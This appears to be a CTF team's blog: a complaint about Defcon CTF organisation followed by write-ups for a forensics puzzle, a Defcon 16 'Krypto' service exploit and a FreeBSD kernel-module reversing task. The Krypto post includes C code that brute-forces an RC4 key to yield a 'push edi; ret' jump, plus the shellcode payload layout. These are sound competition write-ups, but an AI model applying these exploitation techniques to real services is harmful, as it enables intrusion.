A few more hours later... There was a scoreboard for all to see! Well, not strictly all, only for the teams that weren't behind it... Moreover, it was annoying: slowly displaying many charts (interesting though) while all you want right now is the current score. Why not displaying a box with all team's score on every slide? Or better, set up a Web interface where everyone can see any of these information. Also, hiding the name of the services does not add any value to the game. Finally, please leave the scoreboard the entire competition: as Roman said, "non-blind game supports fair-play & helps to detect errors".

No really, this time it felt like things took *way* too long to kick off. Figuring out our subnet isn't actually all that fun. Figuring out how to start a given service, whether it drops its privileges or not. Figuring out if a typo in the unix account "tomato" is intentional or not. Figuring out why forgetu had to run under the "fu" account while the binary was using "forgetu". Figuring out why sandy was in bin/ instead of sbin/ and why the patched binary was periodically rewritten by the original, vulnerable one... That's not really part of CTF or in any way "fun".

The submission server was often down. Because of that, we lost a large number of keys: server replying "key expired" when back online. Knowing the SLA of the submission server could be of interest :) And having to stand up and walk to the help desk to explain the same problem again and again is rather tiring... ddtek does not monitor its own services?
It also seems we have been penalized by denial of access to the submission server for some weird reasons (we were working too fast for the ddtek architecture...).

Also, it's been 3 years now and the system displaying the availability of the services is still not working: all services are shown as down but they are not (so far as we remember, only 2 services were shown as up this year). Totally useless! Even more useless that some teams managed to host their services on another machine without breaking their SLA... isn't supposed to be detected?!

Now about the binaries: last year CTF was rather chaotic (hardly playable) but with an overall very good binaries' quality. This year, too many binaries consisted in format string exploitation: shortcuts ddtek? :P However, IPv6 was a nice surprise and brought all the necessary spice to the contest to make it enjoyable.

Special greetings to lollerSkaters who got root on several jails (if not all). They nicely kickbanned us from our jail but we quickly regained access thanks to root's authorized_keys being automagically re-written. Kudos to ddtek for that! Unfortunately, that root didn't let them win the contest due to a catastrophic SLA. It's kinda hard to believe that they failed at configuring IPv6... so wtf happened guys?

Routards will not communicate on matters such as 0day and jail-breaking-out-of as this is serious business.

Compared to the kenshoto's years, the CTF lacks animation. The original breakthrough concept was great: being fast was rewarded, it was putting pressure on other teams, applause were a tradition. Killing the show in the name of a supposed better scoring system sucks. By the way, not taking breakthroughs into account definitely sux too. Also, ddtek should have more presence. Yes, that includes helping people during the game, guessing games are no fun and pointless.

The mentioned better scoring system in action

What about the end of the CTF? Well, which end? A few words when pulling off the cables without warning (and without having restored the submission server down for over an hour...) and announcing the name of the winner at the ceremony are not enough. This is a total disrespect for all the other teams, no anecdotes or details about the 3 intense days: lollersk8ters pwnage was barely mentioned along with Routards "eternal seconds" (4 years in a row... dammit!). Bring back Invisigoth!

For a lot of people, the CTF is supposed to be the Hacking world's championship, far more attention should be brought to the closing ceremony. Kenshoto have been doing it really well in the past.

Finally, where are the in-game graphs? logs of the points earned? most owned service? most owned team? rank changes? breakthroughs? and pcaps! Everybody is expecting more data.

Enjoy the write ups.

Routards / Eternal Seconds

One picture...

2011-08-10T14:55:00.000-07:00

Defcon 17 QUALS - Forensics 300

2010-06-04T11:05:00.000-07:00

Question: say my name cuz i got pain when i tried to get gain.

File attached: a powerpoint presentation (this is forensics after all...)

The file contained slides with useless base64 comments and images which also contained useless base64 comments (cf. http://forensic-proof.com/archives/495).

However, on slide 3 there are some interesting cells: AC64 and AC65 (and indirectly empty cells AC21 and AC22). Both cells contain base64 blobs. The base64, once concatenated can be decoded to obtain a 27461 Bytes file:

01 08 31 08 31 80 30 01 08 31 08 31 80 34 01 08  |..1.1.0..1.1.4..|

31 08 31 80 30 22 31 e7 99 62 11 c4 01 31 f7 91  |1.1.0"1..b...1..|

11 81 d0 40 30 f7 99 20 00 d4 82 21 f7 99 72 91  |...@0.. ...!..r.|

d0 85 11 f7 91 11 a1 54 40 30 e7 18 20 00 c0 e7  |.......T@0.. ...|

...

Interestingly, 27461 is the product of 7 and 3923 which are both prime numbers. This is interesting because the hexadecimal output seems to be 7 bytes aligned. This seems to stand out at least for the first 3 "packets":

01 08 31 08 31 80 30

01 08 31 08 31 80 34

01 08 31 08 31 80 30

As a matter of fact, this signature is not referenced in any signature database that I know...

So let's try to split the hexadecimal stream into 7 bytes packet and compare them with each other:

Identical packets:

Few hundred packets appear several times, up to 11 times for "3C BC 73 FD CA AA 0C". This is clearly not a compression format based on a dictionary...

When trying to search for 7 bytes (or 56 bits) aligned file/packet format, the results are not really helpful.. too bad.
Most recurring byte at a given position:

When browsing the full 7 bytes aligned version of the file, a recurring byte I noticed was 0xF7 at the 3rd position. Not because it is the most recurring value for that position, but because it was nearly always followed by 0x99 or 0x91. In each of those cases the first quartet of the packet was even. This path won't lead us anywhere but it confirms the idea that these 7 Bytes packets really have a meaning.

Trying to determine the exact reason why some bits are correlated inside a packet is not really interesting and probably not feasible. However, trying to determine the range inside the packets in which certain bits are correlated may help splitting the packets to a lower granularity so that we can compare it with an existing format. In addition, writing a quick and dirty code for comparing block of bits is fairly easy.

As a matter of fact, a binary sequence is present at the same place in all packets, they all end in b'00, and more interestingly, even packets end in b'100 while odd packets end in b'000. At this point we may want to call these "7 Bytes packets": 54 bits frames.

This time we can try to search the web with: "54 bits" frame "synchronization bit"

The results will lead us to Linear Prediction algorithms for speech encoding.

Knowning this, if we look closer at the first 3 sequences of 7 Bytes, we find they are actually the initialization values for the speech synthesizer filter. So in practice, the signature should have been easy to identify with just this information...

A deeper analysis of the "correlated bits" found above gives LPC at the 10th order as a likely candidate, this is good news because it is supported by Speak Freely (http://www.speakfreely.org/). Too bad it only supports win32... but writing a converter to WAV should be pretty quick.

The resulting sound spells an hexadecimal stream using the NATO Phonetic Alphabet (you should be able to decode this one pretty easily):

a4 b0 b0 ac 76 6b 6b a1 aa 9f b5 9f a8 ab ac a1 a0 a5 9d a0 ae 9d a9 9d b0

a5 9f 9d 6a 9f ab a9 6b 89 a5 9f a4 a1 a8 a8 a1 9b 89 9d a0 a5 a3 9d aa

Substracting 0x3C from each byte gives us: http://encyclopediadramatica.com/Michelle_Madigan (valid link in 2011: http://encyclopediadramatica.ch/Michelle_Madigan)

After reading that page, I think that Yes, she got pain when she tried to get gain. At least it seems so...

Key: Michelle Madigan (?)

Defcon 16 CTF - Krypto

2008-10-28T17:57:00.000-07:00

Krypto is a dynamically linked and not stripped ELF binary which listens on port 20020. Connection to this port does not return any information.

This is the interesting code left, after having put aside the typical functions (daemon creation, privileges drop, ...):

The program begins with reading the key file and keeps its content in memory. Then, a 32 characters string only composed of "A" is created, and Krypto reads on the socket a maximal 63 characters buffer (or stops if it finds "\n"). The address of this buffer is stored in ebx.

The following "repne scasb" instruction searches for the "\0" character (as eax has been set to 0 via "xor eax, eax") in the string pointed to by edi. At this point, this string in edi is the previously read buffer on the socket via "mov edi, ebx".

After this instruction, ecx is set to the string length, and edi points to the character following "\0".

A call to the RC4_set_key() function is then performed, with the buffer read on the socket and the previously calculated length as parameters. The way RC4 algorithm works is easy to understand: the key allows generation of a pseudorandom stream of bits, called keystream, which is then used to encrypt data with a simple XOR. As a consequence, encryption and decryption functions are the same. Here, the key is the user-provided entry.

This are the definition of the OpenSSL RC4 functions:

void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data);

void RC4(RC4_KEY *key, unsigned long len, const unsigned char *indata, unsigned char *outdata);

The RC4_set_key() function gives us a RC4_KEY variable created from the string key, which is then used as argument to the RC4() function. The latter function encrypts the 32 "A" string generated in the first place. After this call, esi points to the encrypted result.

The alarm() function is called to kill the process after 2 seconds. We now have a "call esi", where esi is a pointer to our encrypted buffer. Obviously, it crashes, but the service forked during connection so nothing can be seen and the service still runs. If the service does not crash (the "call esi" returns), the alarm() function is called again to cancel the first call to alarm(). Finally, a four characters string is sent on the socket and the exit() function terminates the child.

To sum up, we have:

String_to_be_encrypted = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
RC4_Key = our 63 characters maximum buffer
RC4 encryption of the fixed string with the user-provided key
Execution of the encryption result

So, where is the vulnerability which gives us a shell?

Obviously, we cannot bruteforce RC4 to forge a valid shellcode. The problem results from the way the key length is calculated. In fact, krypto expects the key to end with "\0"; we can use a very small key (of a few bytes), have it followed by a "\0", and include whatever we want at the end of the buffer.

Why do that? We must keep in mind that after the "repne scasb" instruction, edi is a pointer to the character following the "\0", that is to say, the buffer left which will not be used as the RC4 key. We now have to make the RC4 encryption generate a result with a jump to edi as first bytes. We can use "push edi ret" instructions (opcodes: "\x57\xC3").

We have to bruteforce a small key for the RC4 encryption of the "A" string to begin with these two opcodes. A 4 bytes key can be used; this key must not contain "\0" or "\n", and must not remain the same to avoid a too easy IDS blacklisting.

This is the C code to bruteforce the RC4 key:

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <time.h>

#include <openssl/rc4.h>



int main(int ac, char **av)

{

  unsigned short a, b, c, d;

  RC4_KEY          key;

  unsigned char  data[4];

  unsigned char  outdata[32];

  srand(time(NULL));



  while (42) {

    a = 1 + (int) (255.0 * (rand() / (RAND_MAX + 1.0)));

    if (a == 0x0a)

         continue;

    for (b = 1; b <= 0xff; b++) {

      for (c = 1; c <= 0xff; c++) {

        for (d = 1; d <= 0xff; d++) {

          data[0] = d;

          data[1] = c;

          data[2] = b;

          data[3] = a;

          data[4] = 0;

          RC4_set_key(&key, 4, data);

          RC4(&key, 32, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", outdata);

          if (outdata[0] == 0x57 && outdata[1] == 0xc3 

                  && b != 0x0a && c != 0x0a && d != 0x0a)

          {

              printf("rc4key = \"\\x%02x\\x%02x\\x%02x\\x%02x\"\n", d, c, b, a);

              return 1;

          }

        }

      }

    }

  }

  return 0;

}

For the shellcode, we must keep in mind the "killer" alarm() function, and make it fork. The size of the buffer is limited (and even further reduced by the fork), we have to use a stager.

The final packet to send is like [RC4 KEY]['\0'][shellcode fork][shellcode stager]['\n'] then [TAG][real shellcode].

Defcon 16 QUALS - Binary Leetness 400

2008-06-06T16:39:00.000-07:00

We are provided with an unknown binary. We are informed that it is running on Kenshoto's server. The goal is to understand what this binary does, and use this knowledge on the Kenshoto FreeBSD 6.x server to get a secret key.

Trying to run the binary on the command line of a FreeBSD machine doesn’t work as the file is not recognized as an executable. By looking at the strings and functions of the binary, we conclude that the binary is a kernel module:

The "module_register_init" kernel function is called;
We have strings with "mod" in it, like "set_modmetadata_set";
The uprintf function is used, which is a kernel function;
There are data structures associated to the strings "captain" and "captain_kmod", which look like the meta data used to tell the kernel what are the module name, version, and dependencies on other modules when registering it (as declared in "sys/module.h" in the kernel sources).

Trying to load the module into memory with "kldload -v captain.ko" fails because of the "captain_kmod" module not being available. Thus, we have only one part of the program, the other
part being in the "captain_kmod" module. It is probably this module that is holding the key... we assume it is running on the Kenshoto server.

Now let’s analyze the beast!

Loading the binary under IDA Pro shows recurrent use of a basic code obfuscation technique: the x86 assembly instruction "\xEB\xFF" aka "JMP +1" is inserted at multiple places in the code, which confuses IDA and make some functions look like they are returning early with a "ret" instruction while it is not actually the case. We get rid of them by manually by un-defining the JMP instruction (shortcut "U") and converting to code (shortcut "C") the code starting from the "\xFF" byte. We can also safely convert the "\xEB" byte to a NOP instruction.

Okay, now let’s find out about what this module really does, by disassembling all functions and trying to understand the logic of the module.

At first look: syscall hooks.

Most of the code is used to hook several system calls. The part that is installing the hook modifies the system calls table "sysent" to hijack some system calls pointers with the address of the related hooking function in the module:

.text:00001055      mov dword ptr ds:sysent+10h, offset do_sysexit

.text:0000105F      mov dword ptr ds:sysent+28h, offset do_read

.text:00001069      mov dword ptr ds:sysent+34h, offset do_write

.text:00001073      mov dword ptr ds:sysent+40h, offset do_open

.text:0000107D      mov dword ptr sysent+4Ch, offset do_close

.text:00001087      mov dword ptr sysent+0A0h, offset do_fchdir

.text:00001091      mov dword ptr sysent+0ACh, offset do_mknod

.text:0000109B      mov dword ptr sysent+0B8h, offset do_chmod

.text:000010A5      mov dword ptr sysent+0C4h, offset do_chown

.text:000010AF      mov dword ptr sysent+148h, offset do_recvmsg

.text:000010B9      mov dword ptr sysent+154h, offset do_sendmsg

.text:000010C3      mov dword ptr sysent+160h, offset do_recvfrom

.text:000010CD      mov dword ptr sysent+16Ch, offset do_accept

.text:000010D7      mov dword ptr sysent+178h, offset do_getpeername

.text:000010E1      mov dword ptr sysent+184h, offset do_getsockname

Note that I changed the functions name in order to be more readable. The name of the system calls that are hooked can be found from the offset in the "sysent" table, but also more easily by looking at the code that reverses the hooks when the module is unloaded, which is located at .text:00001185.

Let’s take a look at what does a hooked function. For instance, we can look at the do_read function located at .text:00000B98. Basically, what such function does is the following:

Check some numerical conditions on the syscall parameters;
If and only if these conditions are met, modify the global variable located at .bss:00002370
with some algorithm that changes depending in which the syscall function we are;
Call the "real" syscall function in the kernel.

Actually, all this stuff seems to be a false lead! We will not care about it anymore, since we do not see from these hooked functions how all this global variable tweaking could ever give us a key. And we need a key.

At second look: IDT "int 0x80" hijack.

What we do see as an interesting lead is this "uprintf" kernel function, which is used at
.text:00000ADA to print a string pointed to by an external variable named "currentpid". The "uprintf" function prints a string to the controlling tty of the current process. Since the "currentpid" variable doesn’t seem to be a standard kernel variable, we can imagine that it could very well be contained in the missing "captain_kmod" module, and would probably hold the key we are looking for.

Going backwards, we find that the function doing the "uprintf" is only called by one function, located at .text:00000AE4, depending on some conditions. This function is itself called only by a short wrapper function located at .text:00000A15. This function is itself never called... but its address is used at offset .text:00001138 in the following piece of code.

We see that the Interrupt Descriptor Table (IDT) of the system is modified in order to replace the "int 0x80" handler with the address of the function at .text:00000A15. To understand this code, one should known that the size of an entry in the IDT is 8 bytes and that the address of the interruption handler in an IDT entry is split in two, the low word being stored at offset 0 and the high word at offset 6 of the entry. (Note: for more information about the IDT one could read Phrack #59).

.text:00001104 sidt  fword ptr [ebp-14h]    ; gets IDT information structure

.text:0000110E mov   ecx, [ebp-12h]         ; gets IDT base address

.text:00001111 lea   edx, [ecx+400h]        ; gets address of "int 0x80" entry in the IDT (0x400/8 = 0x80)

.text:00001117 mov   ds:idt_hijackaddr, edx ; saves this address for future use

.text:00001123 movzx eax, word ptr [edx+6]

.text:00001127 shl   eax, 10h

.text:0000112A movzx edx, word ptr [ecx+400h]

.text:00001131 or    eax, edx               ; eax = address of "int 0x80" handler

.text:00001133 mov   ds:dword_2364, eax

.text:00001138 mov   edx, offset int80_hijack_function

.text:0000113D lea   eax, [ebp-1Ch]

.text:00001140 call  loc_1008               ; puts LOW(edx) in [eax], and HIGH(edx) in [eax+6],

                                            ; which will hijack the "int 0x80" IDT entry by putting

                                            ; the address contained in edx instead of the original 

                                            ; handler. eax points to an IDT entry structure located on

                                            ; the stack.

.text:00001145 mov   edx, ds:idt_hijackaddr

.text:0000114B movzx ax, byte ptr [edx+2]

.text:00001150 mov   [ebp-1Ah], ax          ; complete the new IDT structure on the

                                            ; stack with the original data located at offsets 2 and 5

                                            ; (flags, segment selector...)

.text:00001154 mov   al, [edx+5]

.text:00001157 mov   [ebp-17h], al

.text:0000115A lea   eax, [ebp-1Ch]

.text:0000115D push  eax                    ; pointer to local IDT entry structure

.text:0000115E push  edx                    ; pointer to "int 0x80" IDT entry

.text:0000115F call  near ptr write_64_bits ; actually performs the hijack by writing the 8 bytes of 

                                            ; the local structure in the IDT

Well, that’s very good! So far we are pleased of our work, since we now understand the logic of the module, and thus the way to the key.
Or do we? We know we will have to issue an "int 0x80" instruction to get to the interesting part of the code, but there is actually one last problem to overcome: the uprintf function which prints to key to our controlling tty is called only if certain conditions are met. We need to understand these conditions, by analyzing the code.

[...]    ; previously the first argument of the stack

         ; is put into ebx

.text:00000AF2 mov   eax, large fs:0

.text:00000AF8 mov   esi, [eax]

.text:00000B00 mov   ecx, [esi+3Ch]

.text:00000B03 mov   eax, ecx

.text:00000B05 and   eax, 0FFFF0000h

.text:00000B0A cmp   eax, 5BE90000h               ; <-- high word of [fs:3c] must be 0x5BE9

.text:00000B0F jz    short loc_B38

[...]

.text:00000B38 loc_B38:

.text:00000B38 cmp   ebx, 1                       ; <-- arg0 must be 1

.text:00000B3B jnz   short near ptr unk_B11

.text:00000B43 call  print_fmt_string_to_proc_tty ; prints the key to tty :-)

The key is printed only if a flag located at address fs:3c has value 0x5BE9 in its high word, and if the first argument to the function is 0x01. Since the "int 0x80" instruction is used by the FreeBSD system to allow userland (ring 3) code to issue system calls, the first argument to the function would be the syscall number. Syscall 0x01 is the "exit" syscall, which exits the current process. Getting the key is thus only a matter of quitting... after having correctly set up the fs:3c flag. To perform this, we see that this flag is updated at each system call:

.text:00000B17 movzx  edx, cx          ; dx = low word of [fs:3c]

.text:00000B1A and    ebx, 7           ; ebx = the 3 low bits of the syscall number

                                       ; pushed on the stack

.text:00000B1D and    ecx, 0FFFF0000h  ; ecx = high word of [fs:3c]

.text:00000B23 shl    ebx, 10h         ; the 3 low bits of the syscall number of

                                       ; put into the high word

.text:00000B26 lea    eax, ds:0[ecx*4] ; shifts left ecx by 2 bits (eax = ecx << 2)

.text:00000B2D xor    eax, ebx         ; no comment

.text:00000B2F or     edx, eax         ; edx = low word | (high word<<2 ^ the 3 low bits)

.text:00000B31 mov    [esi+3Ch], edx   ; updates flag at [fs:3c]

At each system call performed, "int 0x80" is called and the high word of the flag at [fs:3c] is updated by shifting it by two bits on the left and XORing it with the last 3 bits of the syscall number. Thus, to setup the fs:3c flag to the correct value (0x5BE9) we can issue several system calls sequentially, with different syscall numbers. As 0x5BE9 is 0101101111101001 in binary, to construct it in two bits chunks, we could send the following syscalls:

Bits: 01 01 10 11 11 10 10 01 = 0x5BE9

Syscall numbers sequence: 1 1 2 3 3 2 2 1

However, some syscall numbers cannot be used, for instance 1 will terminate the program, and 2 will fork. We can look in the "syscall.h" include file to get the list of syscall numbers. We must use only innocuous syscall numbers, and that's why the good folks at Kenshoto allowed us to use one additional bit and XOR it with the previous one (even though it's not the only way). Then, another possibility to generate the value 0x5BE9 without using the "fork" and "exit" syscalls would be:

Sycall bits: 100 101 11 111 11 11 111 101

Syscall numbers: 4 5 3 7 3 3 7 5

Now all that is left is to write a small assembly program which issues these system calls sequentially by pushing the value of the syscall on the stack and calling the 0x80 interruption ("move $0xNN, %eax, push %eax, int $0x80"). At this time the value of the flag at [fs:3c] is now 0x5BE9. We can issue a last call to syscall number 1 (exit) and the module will print the key on the current tty.

So we connect on a shell on the Kenshoto server, get a tty for the shell (mandatory step for uprintf to work), run the code... And, almost magically, the secret key appears.